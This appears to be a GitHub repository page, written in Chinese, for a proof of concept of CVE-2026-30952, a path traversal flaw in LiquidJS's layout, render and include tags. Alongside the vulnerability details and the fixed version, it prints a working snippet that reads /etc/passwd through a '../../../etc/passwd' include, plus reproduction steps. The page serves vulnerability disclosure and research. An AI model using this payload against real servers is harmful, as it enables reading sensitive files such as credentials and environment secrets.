MorielHarush/CVE-2026-30952-PoC

GitHub: MorielHarush/CVE-2026-30952-PoC

针对 LiquidJS 模板引擎路径穿越漏洞(CVE-2026-30952)的概念验证工具,演示如何通过 layout、render、include 标签绕过根目录限制读取任意文件。

Stars: 0 | Forks: 0

# CVE-2026-30952:LiquidJS 路径穿越 PoC 本仓库包含 **CVE-2026-30952** 的概念验证,这是在 `liquidjs` 库(版本 < 10.25.0)中发现的一个高危路径穿越漏洞。 **作者与研究员:** Moriel Harush Maor Caplan ## 描述 当 `layout`、`render` 和 `include` 标签使用绝对路径时,该漏洞允许任意文件访问。即使指定了 `root` 目录,这种情况也会发生,因为该库的回退机制未能正确验证解析后的路径是否保持在预期的根目录内。 **影响:** 如果攻击者能够控制模板内容或传递给这些标签的变量,则可以读取敏感文件(例如 `/etc/passwd`、环境文件)。 ## 漏洞详情 - **CVE ID:** CVE-2026-30952 - **GHSA ID:** [GHSA-wmfp-5q7x-987x](https://github.com/advisories/GHSA-wmfp-5q7x-987x) - **严重程度:** 高 (8.7/10 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N) - **受影响版本:** < 10.25.0 - **修复版本:** 10.25.0 ## 概念验证 ``` const { Liquid } = require('liquidjs'); const e = new Liquid({ root: ['/tmp'], partials: ['/tmp'], dynamicPartials: true }); e.parseAndRender('{% include page %}', { page: '../../../etc/passwd' }).then(o => console.log(o.slice(0,500))); ``` image ### 前置条件 - 已安装 Node.js - 存在漏洞的 `liquidjs` 版本 (`npm install liquidjs@10.24.0`) ### 复现步骤 1. 克隆本仓库。 2. 运行 `npm install`。 3. 执行漏洞利用脚本: node exploit.js
标签:CMS安全, CVE, CVE-2026-30952, Exploit, GNU通用公共许可证, JavaScript, LiquidJS, MITM代理, Node.js, PE 加载器, PoC, SSTI, 任意文件读取, 安全漏洞, 数字签名, 数据可视化, 文件包含, 暗色界面, 暴力破解, 服务端模板注入, 模板引擎, 目录穿越, 网络安全, 自定义脚本, 路径遍历, 隐私保护, 高危漏洞